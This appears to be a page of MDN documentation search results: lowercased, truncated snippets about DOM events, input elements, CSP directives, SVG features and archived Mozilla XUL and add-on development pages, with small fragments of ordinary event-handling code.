... let colorpicker = document.getelementbyid("colorpicker"); let box = document.getelementbyid("box"); let output = document.getelementbyid("output"); box.style.bordercolor = colorpicker.value; colorpicker.addeventlistener("input", function(event) { box.style.bordercolor = event.target.value; }, false); colorpicker.addeventlistener("change", function(event) { output.innertext = "color set to " + colorpicker.value + "."; }, false); the input event is sent every time the value of the element changes; that is, every time the user adjusts the color in the color picker.
...And 2 more matches
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
events change and input supported common attributes required additional attributes accept, capture, files, multiple idl attributes files and value dom interface htmlinputelement properties properties that apply only to elements of type file methods select() value a file input's value attribute contains ...
... the string is prefixed with c:\fakepath\, to prevent malicious software from guessing the user's file structure.
... next, we add an event listener to the input to listen for changes to its selected value changes (in this case, when files are selected).
...And 2 more matches
<input type="search"> - HTML: Hypertext Markup Language
WebHTMLElementinputsearch
events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size.
... incremental whether or not to send repeated search events to allow updating live search results while the user is still editing the value of the field.
...as the user edits the value of the field, the user agent sends search events to the htmlinputelement object representing the search box.
...And 2 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
if you encounter problems with the favicon not loading, verify that the content-security-policy header's img-src directive is not preventing access to it.
... the html and xhtml specifications define event handlers for the <link> element, but it is unclear how they would be used.
...without sending the origin http header), preventing its non-tainted usage.
...And 2 more matches
Standard metadata names - HTML: Hypertext Markup Language
WebHTMLElementmetaname
accessibility concerns with viewport scaling disabling zooming capabilities by setting user-scalable to a value of no prevents people experiencing low vision conditions from being able to read and understand page content.
... google, yahoo, bing nosnippet prevents displaying any description of the page in search engine results.
...do not expect to prevent e-mail harvesters with them.
...And 2 more matches
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnextid
<a name="z1" href="#z5">second section heading</a> <a name="z8" href="#z14">newly inserted third section heading</a> <a name="z9" href="#z15">newly inserted fourth section heading</a> <a name="z2" href="#z6">original third (now fifth) section heading</a> <a name="z3" href="#z7">original fourth (now sixth) section heading</a> <a name="z10" href="#z16">seventh section heading</a> <a name="z11" href="#z17">eighth section heading</a> <a name="z12" href="#z18">ninth section heading</a> <a name="z13" href="#z19">tenth section heading</a> <h2><a name="z4">first section heading</a></h1><p> ...
...</p> <h2><a name="z16">seventh section heading</a></h1><p> ...
...</head> <body> <a name="z0" href="#z4">first section heading</a> <a name="z1" href="#z5">second section heading</a> <a name="z8" href="#z14">newly inserted third section heading</a> <a name="z9" href="#z15">newly inserted fourth section heading</a> <a name="z2" href="#z6">original third (now fifth) section heading</a> <a name="z10" href="#z16">seventh (now sixth) section heading</a> <a name="z11" href="#z17">eighth (now seventh) section heading</a> <a name="z12" href="#z18">ninth (now eighth) section heading</a> <a name="z20" href="#z25">new ninth section heading</a> <a name="z21" href="#z26">new tenth section heading</a> <a name="z22" href="#z27">new eleventh section heading</a> <a name="e23" h...
...And 2 more matches
Microformats - HTML: Hypertext Markup Language
these minimal patterns of html are used for marking up entities that range from fundamental to domain-specific information, such as people, organizations, events, and locations.
...mmary">in which i extoll the virtues of using microformats.</p> <div class="e-content"> <p>blah blah blah</p> </div> </article> </div> properties property description p-name name of the feed p-author author of the feed, optionally embed an h-card children nested h-entry objects representing the items of the feed h-event the h-event is for events on the web.
... h-event is often used with both event listings and individual event pages <div class="h-event"> <h1 class="p-name">microformats meetup</h1> <p>from <time class="dt-start" datetime="2013-06-30 12:00">30<sup>th</sup> june 2013, 12:00</time> to <time class="dt-end" datetime="2013-06-30 18:00">18:00</time> at <span class="p-location">some bar in sf</span></p> <p class="p-summary">get together and discuss all things microformats-related.</p> </div> properties property description p-name event name (or title) p-summary short summary of the event dt-start datetime the event starts dt-end datetime the event ends p-location where the event takes place, optionally embedded h-card parsed h-event example <div...
...And 2 more matches
Content Security Policy (CSP) - HTTP
WebHTTPCSP
a csp compatible browser will then only execute scripts loaded in source files received from those allowlisted domains, ignoring all other script (including inline scripts and event-handling html attributes).
...a policy needs to include a default-src or script-src directive to prevent inline scripts from running, as well as blocking the use of eval().
... example 4 a web site administrator for an online banking site wants to ensure that all its content is loaded using tls, in order to prevent attackers from eavesdropping on requests.
...And 2 more matches
Cache-Control - HTTP
this directive is not effective in preventing caches from storing your response.
...this directive is not effective in preventing caches from storing your response.
...although other directives may be set, this alone is the only directive you need in preventing cached responses on modern browsers.
...And 2 more matches
CSP: connect-src - HTTP
the apis that are restricted are: <a> ping, fetch, xmlhttprequest, websocket, eventsource, and navigator.sendbeacon().
... 'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
...And 2 more matches
CSP: script-src-attr - HTTP
the http content-security-policy (csp) script-src-attr directive specifies valid sources for javascript inline event handlers.
... this includes only inline script event handlers like onclick, but not urls loaded directly into <script> elements.
... 'unsafe-hashes' allows enabling specific inline event handlers.
...And 2 more matches
Closures - JavaScript
much of the code written in front-end javascript is event-based.
... you define some behavior, and then attach it to an event that is triggered by the user (such as a click or a keypress).
... the code is attached as a callback (a single function that is executed in response to the event).
...And 2 more matches
TypeError: can't define property "x": "obj" is not extensible - JavaScript
the javascript exception "can't define property "x": "obj" is not extensible" occurs when object.preventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible.
...however, in this case object.preventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible.
... 'use strict'; var obj = {}; object.preventextensions(obj); obj.x = 'foo'; // typeerror: can't define property "x": "obj" is not extensible in both, strict mode and sloppy mode, a call to object.defineproperty() throws when adding a new property to a non-extensible object.
...And 2 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
instead of showing the notification immediately though, best practice dictates that we should show the popup when the user requests it by clicking on a button: var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if(result === 'granted') { randomnotification(); } }); }); this shows a popup using the operating system’s own notifications service: when the user confirms to receive notifications, the app can then show them.
... to receive push messages, we can listen to the push event in the service worker file: self.addeventlistener('push', function(e) { /* ...
... fetch('./register', { method: 'post', headers: { 'content-type': 'application/json' }, body: json.stringify({ subscription: subscription }), }); then the globaleventhandlers.onclick function on the subscribe button is defined: document.getelementbyid('doit').onclick = function() { const payload = document.getelementbyid('notification-payload').value; const delay = document.getelementbyid('notification-delay').value; const ttl = document.getelementbyid('notification-ttl').value; fetch('./sendnotification', { method: 'post', he...
...And 2 more matches
requiredFeatures - SVG: Scalable Vector Graphics
rg/tr/svg11/feature#svg-dynamic the browser supports all of the language features from http://www.w3.org/tr/svg11/feature#svg-animation plus the following features: http://www.w3.org/tr/svg11/feature#hyperlinking http://www.w3.org/tr/svg11/feature#scripting http://www.w3.org/tr/svg11/feature#view http://www.w3.org/tr/svg11/feature#cursor http://www.w3.org/tr/svg11/feature#graphicaleventsattribute http://www.w3.org/tr/svg11/feature#documenteventsattribute http://www.w3.org/tr/svg11/feature#animationeventsattribute http://www.w3.org/tr/svg11/feature#svgdom-dynamic the browser supports all of the dom interfaces and methods that correspond to the language features for http://www.w3.org/tr/svg11/feature#svg-dynamic.
...rule, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-width and color-rendering attributes http://www.w3.org/tr/svg11/feature#opacityattribute the browser supports the opacity, stroke-opacity and fill-opacity attributes http://www.w3.org/tr/svg11/feature#graphicsattribute the browser supports the display, image-rendering, pointer-events, shape-rendering, text-rendering and visibility attributes http://www.w3.org/tr/svg11/feature#basicgraphicsattribute the browser supports the display and visibility attributes http://www.w3.org/tr/svg11/feature#marker the browser supports the <marker> element http://www.w3.org/tr/svg11/feature#colorprofile the browser supports the <color-profile> element http://www.w3.org/tr...
..., <fefuncr>, <fefuncg>, <fefuncb> and <fefunca> elements http://www.w3.org/tr/svg11/feature#basicfilter the browser supports the <filter>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <feoffset>, <fetile>, <fefuncr>, <fefuncg>, <fefuncb> and <fefunca> elements http://www.w3.org/tr/svg11/feature#documenteventsattribute the browser supports the onunload, onabort, onerror, onresize, onscroll and onzoom attributes http://www.w3.org/tr/svg11/feature#graphicaleventsattribute the browser supports the onfocusin, onfocusout, onactivate, onclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout and onload attributes http://www.w3.org/tr/svg11/feature#animationeventsattribute the brow...
...And 2 more matches
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
16 svg event attributes advanced, attribute, draft, landing, needsupdate, svg event attributes always have their name starting with "on" followed by the name of the event for which they are intended.
... they specifies some script to run when the event of the given type is dispatched to the element on which the attributes are specified.
... 145 onclick svg, svg attribute, events the onclick attribute specifies some script to run when the element is clicked.
...And 2 more matches
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
us unknown svgelement.getpresentationattribute() removed never implemented (prototype removed in bug 921456) svgcolor and svgicccolor removed never implemented svgelement.focus(), svgelement.blur() not implemented (bug 778654) svgelement.tabindex implemented (bug 778654) document.activeelement implementation status unknown globaleventhandlers on svgelement implementation status unknown options dictionary attribute for svggraphicselement.getbbox() implemented behind the preference svg.new-getbbox.enabled (bug 999964, bug 1019326) allow leading and trailing whitespace in <length>, <angle>, <number> and <integer> implementation status unknown form feed (u+000c) in whitespace implementation s...
...ted (bug 721920) css transforms on outermost <svg> not affecting svgsvgelement.currentscale or svgsvgelement.currenttranslate implementation status unknown rootelement attribute deprecated implementation status unknown svgelementinstance and svgelementinstancelist and corresponding attributes on svguseelement removed implementation status unknown <use> event flow following shadow dom spec.
...play behavior of paint server elements defined by ua style sheet not implemented clipping, masking, and compositing change notes overflow respected on outermost <svg> elements inline in html implementation status unknown interactivity change notes tabindex attribute implemented (bug 778654) bounding-box on pointer-events not implemented (bug 945187) load, abort, error, and unload instead of svgload, svgabort, svgerror, and svgunload not implemented (bug 620002) only structurally external elements and outermost <svg> element fire load events implementation status unknown resize and scroll instead of svgresize and svgscroll implementation status unknown domactivate r...
...And 2 more matches
request - Archive of obsolete content
examples outlined in this document are no longer relevent in regards to the twitter api calls and need to be updated make simple network requests.
... when the server completes the request, the request object emits a "complete" event.
... registered event listeners are passed a response object.
... properties url headers content contenttype response events complete the request object emits this event when the request has completed and a response has been received.
Storing annotations - Archive of obsolete content
ons) { var annotationlist = $('#annotation-list'); annotationlist.empty(); storedannotations.foreach( function(storedannotation) { var annotationhtml = $('#template .annotation-details').clone(); annotationhtml.find('.url').text(storedannotation.url) .attr('href', storedannotation.url); annotationhtml.find('.url').bind('click', function(event) { event.stoppropagation(); event.preventdefault(); self.postmessage(storedannotation.url); }); annotationhtml.find('.selection-text') .text(storedannotation.anchortext); annotationhtml.find('.annotation-text') .text(storedannotation.annotationtext); annotationlist.append(annotationhtml); }); }); it build...
... responding to overquota events add-ons have a limited quota of storage space.
... so we want to listen to the overquota event emitted by simple-storage and respond to it.
...a real add-on should give the user a chance to choose which data to keep, and prevent the user from adding any more data until the add-on is back under quota.) respecting private browsing since annotations record the user's browsing history we should avoid recording annotations in private windows.
HTML in XUL for rich tooltips - Archive of obsolete content
rlay titled overlay.js: <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="contentareacontextmenu"> <menuitem id="htmltip1" label="foo1" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> <menuitem id="htmltip2" label="foo2" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> </popup> <popupset id="mainpopupset"> <tooltip id="myhtmltip"> <html:div id="myhtmltipdiv" type="content"/> </tooltip> </popupset> </overlay> insert your version of the following into t...
... var htmltip = { onload: function() { //at any point you can save an html string to a xul attribute for later injection into the tooltip document.getelementbyid("htmltip1").setattribute("tooltiphtml", "<font color='red'>red foo</font>") document.getelementbyid("htmltip2").setattribute("tooltiphtml", "<font color='green'>green foo</font>") }, onmousetooltip: function(event) { //get the html tooltip string assigned to the element that the mouse is over (which will soon launch the tooltip) var txt = event.target.getattribute("tooltiphtml"); // get the html div element that is inside the custom xul tooltip var div = document.getelementbyid("myhtmltipdiv"); //clear the html div element of any prior shown custom html while(div.firstchild) div.removechild(div.firstch...
...ild); //safely convert html string to a simple dom object, stripping it of javascript and more complex tags var injecthtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml) .parsefragment(txt, false, null, div); //attach the dom object to the html div element div.appendchild(injecthtml); } } window.addeventlistener('load', htmltip.onload, false); in the xul overlay, xmlns:html is used to enable html tags to be used inside the xul.
...that tooltip is empty now, but we will use the mouseover event to dynamically populate the tooltip (which is about to be shown) with a different message for each menuitem.
Tree - Archive of obsolete content
you can't add event handlers to <treecell>.
... instead, you can add the event handler to the <tree> element.
... you can then use the event and some utility methods to find the <treecell>.
... for example, assuming the given <tree>: <tree id="my-tree" onclick="ontreeclicked(event)"> use the following javascript: function ontreeclicked(event){ var tree = document.getelementbyid("my-tree"); var tbo = tree.treeboxobject; // get the row, col and child element at the point var row = { }, col = { }, child = { }; tbo.getcellat(event.clientx, event.clienty, row, col, child); var celltext = tree.view.getcelltext(row.value, col.value); alert(celltext); } getting the selected indices of a multiselect tree var start = {}, end = {}, numranges = tree.view.selection.getrangecount(), selectedindices = []; for (var t = 0; t < numranges; t++){ tree.view.selection.getrangeat(t, start, end); for (var v = start.value; v <= end.value; v++) selectedindices.push(v...
How to convert an overlay extension to restartless - Archive of obsolete content
face: const xmlhttprequest = components.constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsixmlhttprequest"); here's how to load a file using it: function loadfile(url,type,returnresult) { var request = new xmlhttprequest(); request.open("get", url, true); // async=true request.responsetype = type; request.onerror = function(event) { logerrormessage("error attempting to load: " + url); returnresult(null); }; request.onload = function(event) { if (request.response) returnresult(request.response); else request.onerror(event); }; request.send(); } loadfile("chrome://myaddon/content/filename.ext",datatype,function(data) { /* do stuff with data */ }); ...
...until you get your bootstrap.js running you should use a basic overlay onto the xul window with an event listener for "load" to catch overlay load and then run your manual ui construction function.
...ents()) todo(windows.getnext().queryinterface(components.interfaces.nsidomwindow)); } var windowlistener = { onopenwindow: function(xulwindow) { var window = xulwindow.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); function onwindowload() { window.removeeventlistener("load",onwindowload); if (window.document.documentelement.getattribute("windowtype") == "navigator:browser") loadintowindow(window); } window.addeventlistener("load",onwindowload); }, onclosewindow: function(xulwindow) { }, onwindowtitlechange: function(xulwindow, newtitle) { } }; as mentioned above, components.utils.unload() will ...
...instead of directly calling your tear down function, make your unloadfromwindow() something like this: function unloadfromwindow(window) { var event = window.document.createevent("event"); event.initevent("myaddonname-unload",false,false); window.dispatchevent(event); } in each window you can then register on startup to listen for your custom "myaddonname-unload" event and just tear down and clean up when that event or a regular "unload" event comes in.
User Notifications and Alerts - Archive of obsolete content
« previousnext » it is often the case that extensions need to notify users about important events, often requiring some response.
...you should look for the level that better fits your message, and use the lowest applicable level, to prevent the user from getting used to dismissing high-level notifications.
... the alerts service this is a very good option when you want to alert users about events without requiring input from them.
...you'll have to code around this using tab events in order to know when to re-display your alert.
Setting up an extension development environment - Archive of obsolete content
this prevents the browser debugger from prompting for connection permission every time.
...to see them, prevent the automatic restart by setting the environment no_em_restart to 1 before starting the application.) nglayout.debug.disable_xul_fastload = true.
... using directories rather than jars regardless of whether you choose to eventually package your extension's chrome in a jar or in directories, developing in directories is simpler.
...for example, rather than having content myextension jar:chrome/myextension.jar!/content/ use content myextension chrome/content/ preventing the first launch extension selector requires gecko 8.0(firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) starting in firefox 8, on the first launch of a new version of firefox, it presents user interface letting users select which third party add-ons to keep.
chargingchange - Archive of obsolete content
the chargingchange event is fired when the charging attribute of the battery api has changed.
... general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
..."yes" : "no")); battery.addeventlistener('chargingchange', function() { console.log("battery charging?
..."yes" : "no")); }); }); related events chargingtimechange dischargingtimechange levelchange ...
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
erver.smtp1.port", 25); lockpref("mail.smtpserver.smtp1.try_ssl", 0); lockpref("mail.smtpserver.smtp1.username", ""); lockpref("mail.smtpservers", "smtp1"); lockpref("mail.startup.enabledmailcheckonce", true); lockpref("mailnews.quotingprefs.version", 1); lockpref("mailnews.ui.threadpane.version", 5); /* 3) define here (because if set after "4)" below it doesn't work!) processldapvalues which is eventually called by getldapattributes() just below, check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues */ function processldapvalues(values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue(values, "uid"); var cn = g...
... 1) env variables if(getenv("user") != "") { // *nix settings var env_user = getenv("user"); var env_home = getenv("home"); } else { // windows settings var env_user = getenv("username"); var env_home = getenv("homepath"); } var env_mozdebug= getenv("mozilla_debug"); // 2) define here (because if set after "3)" below it doesn't work !) processldapvalues which is eventually called by getldapattributes() just below, // check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues /* commented all this section about ldap calls, not supported in ff5 packages :-( function processldapvalues (values) { if(values) { // set the global var with the values returned from the l...
...rsignons", false); // 1) env variables if(getenv("user") != "") { // *nix settings var env_user = getenv("user"); var env_home = getenv("home"); } else { // windows settings var env_user = getenv("username"); var env_home = getenv("homepath"); } var env_mozdebug = getenv("mozilla_debug"); /* 2) define here (because if set after "3)" below it doesn't work!) processldapvalues which is eventually called by getldapattributes() just below, check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues */ function processldapvalues(values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue(values, "uid"); var cn = g...
...s.length; while(times--) { with(math) { i = floor(random()*l); j = floor(random()*l); } t = this[i]; this[i] = this[j]; this[j] = t; } return this; } // mix up the ldap servers so we don't hit the same one each time ldap_servers.shuffle(10); /* 3) define here (because if set after "4)" below it doesn't work!) processldapvalues which is eventually called by getldapattributes() just below, check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues */ function processldapvalues(values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue(values, "uid"); var cn ...
Layout System Overview - Archive of obsolete content
it is also important to see the presentation shell as an observer of many kinds of events in the system.
... for example, the presentation shell receives notifications of document load events, which are used to trigger updates to the formatting of the frames in some cases.
...presumably it is more time and space-efficient to prevent frame creation for elements with no display.) the frame manager also maintains a list of forms and form controls, as content nodes.
...these collections of forms and form controls should be removed eventually.
Example Sticky Notes - Archive of obsolete content
you cannot cancel this event, * but you may accomplish some last minute clean up.
... unlike virtual property it is called in function context: this.setborder(arg) you also may define any amount of named arguments using <parameter name="argumentname"/> --> <parameter name="arg"/> <body><![cdata[ this.style.border = arg; ]]></body> </method> </implementation> <handlers> <!-- event handlers.
... mouse events sent to bindings are refactored, so event.target / event.relatedtarget always points to the bound element, even if it was originated to/from a child.
... --> <handler event="click"><![cdata[ if (this.priority == 'normal') { this.priority = 'high'; this.setborder('2px solid red'); } else { this.priority = 'normal'; this.setborder('2px solid blue'); } var str = this.innertext + '\n\n'; str+= ('on ' + event.type + ' priority set to: ' + this.priority); window.alert(str); ]]></handler> <handler event="mouseover"><![cdata[ this.$bg = this.style.backgroundcolor || '#ffff00'; this.style.backgroundcolor = '#ffcc00'; ]]></handler> <handler event="mouseout"><![cdata[ this.style.backgroundcolor = this.$bg; ]]></handler> </handlers> </binding> </bindings> notes.css .sticker { position: relative; left: 0px; right: 0px; float: left; clear: none; width: 10em; height: 10em; overflow: visible; margin: 1em 1em; paddi...
panel.consumeoutsideclicks - Archive of obsolete content
« xul reference home consumeoutsideclicks type: boolean controls whether or not the event that caused the popup to be automatically dismissed (or "rolled up") should be consumed or be dispatched as a normal event.
...if it set to true the rollup event is consumed.
... if set to false, the rollup event is not consumed.
... this attribute should be used instead of setconsumerollupevent.
reserved - Archive of obsolete content
this means that, to execute these commands, key events won't be passed to content, and event listeners registered for them in content will not be executed.
... currently, the content still receives these key events, even though it can't override them.
... example here, the command to open a new browser window is reserved: <command id="cmd_newnavigator" oncommand="openbrowserwindow()" reserved="true"/> if the keyboard shortcut for that is accel-t, then this code will not work as expected, as compared to when it is run from web content: document.addeventlistener("keydown", handlekey, true); function handlekey(event) { // listen for the "new tab" shortcut if (event.metakey && (event.key == "t")) { // log a message console.log("intercepted accel-t"); // prevent the default browser action event.preventdefault(); event.stoppropagation(); } } currently, this event handler as coded above runs and logs the message, but the default beha...
...in future releases, the event handler will never be called for the given keyboard shortcut.
Extensions - Archive of obsolete content
showing and hiding context menu items to have a menuitem you have added be shown or hidden based on the context, you can use an event handler that listens for the popupshowing event.
... function init() { var contextmenu = document.getelementbyid("contentareacontextmenu"); if (contextmenu) contextmenu.addeventlistener("popupshowing", thumbnailsshowhideitems, false); } function thumbnailsshowhideitems(event) { var show = document.getelementbyid("thumbnail-show"); show.hidden = (document.popupnode.localname != "img"); } the init function should be called within the handler for the load event so that the popupshowing event handler is hooked up before it would be opened by the user.
... determining what element was context clicked for general information about how to determine which element was the target of the context menu, that is, the element that was context clicked, see determining what was context clicked firefox uses its own popupshowing event listener to adjust the items on the context menu.
... function thumbnailsshowhideitems(event) { var show = document.getelementbyid("thumbnail-show"); show.hidden = !(gcontextmenu.onimage || gcontextmenu.onlink); } ...
Broadcasters and Observers - Archive of obsolete content
« previousnext » there may be times when you want several elements to respond to events or changes of state easily.
... broadcast event there is an additional event handler that we can place on the observes element which is onbroadcast.
... the event is called whenever the observer notices a change to the attributes of the broadcaster that it is watching.
... next, because the broadcast occured, the event handler onbroadcast is called.
Manipulating Lists - Archive of obsolete content
getting the selected item these two properties are commonly inspected during a select event, as in the following example: example 2 : source view <listbox id="thelist" onselect="alert(this.selecteditem.label);"> <listitem label="short"/> <listitem label="medium"/> <listitem label="tall"/> </listbox> the select event is fired for a listbox when an item in the list is selected.
...since the select event fired we can assume that an item is selected.
... the select event is also fired when a radio button in a radiogroup is selected and when a tab is selected in a tabs element.
... however, menulists do not fire the select event; instead you can listen to the command event to handle when an item is selected.
XBL Inheritance - Archive of obsolete content
the child binding can add properties, methods and event handlers.
...example 1 : source <binding id="textboxwithhttp" extends="chrome://global/content/bindings/textbox.xml#textbox"> <handlers> <handler event="keypress" keycode="vk_f4"> this.value="http://www"+value; </handler> </handlers> </binding> the xbl here extends from the xul textbox element.
...in addition, we add a handler which responds to the keypress event.
...the autocomplete textbox adds extra event handling so that when a url is typed, a menu will pop up with possible completions.
broadcaster - Archive of obsolete content
an onbroadcast event will be sent to the observers when a change is made.
... examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptex...
...t, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelements...
...bytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
checkbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider, nsidomxulcheckboxelement ...
description - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes header a class used for headings.
dialog - Archive of obsolete content
the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically.
...the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributen...
...s(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata acceptdialog() return type: no return value accepts the dialog and closes it, similar to pressing the ok button.
iframe - Archive of obsolete content
this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the principal of the parent document.
...this can be used to workaround things like bug 540911 inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related nsiaccessibleprovider ...
label - Archive of obsolete content
ArchiveMozillaXULlabel
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
listcell - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
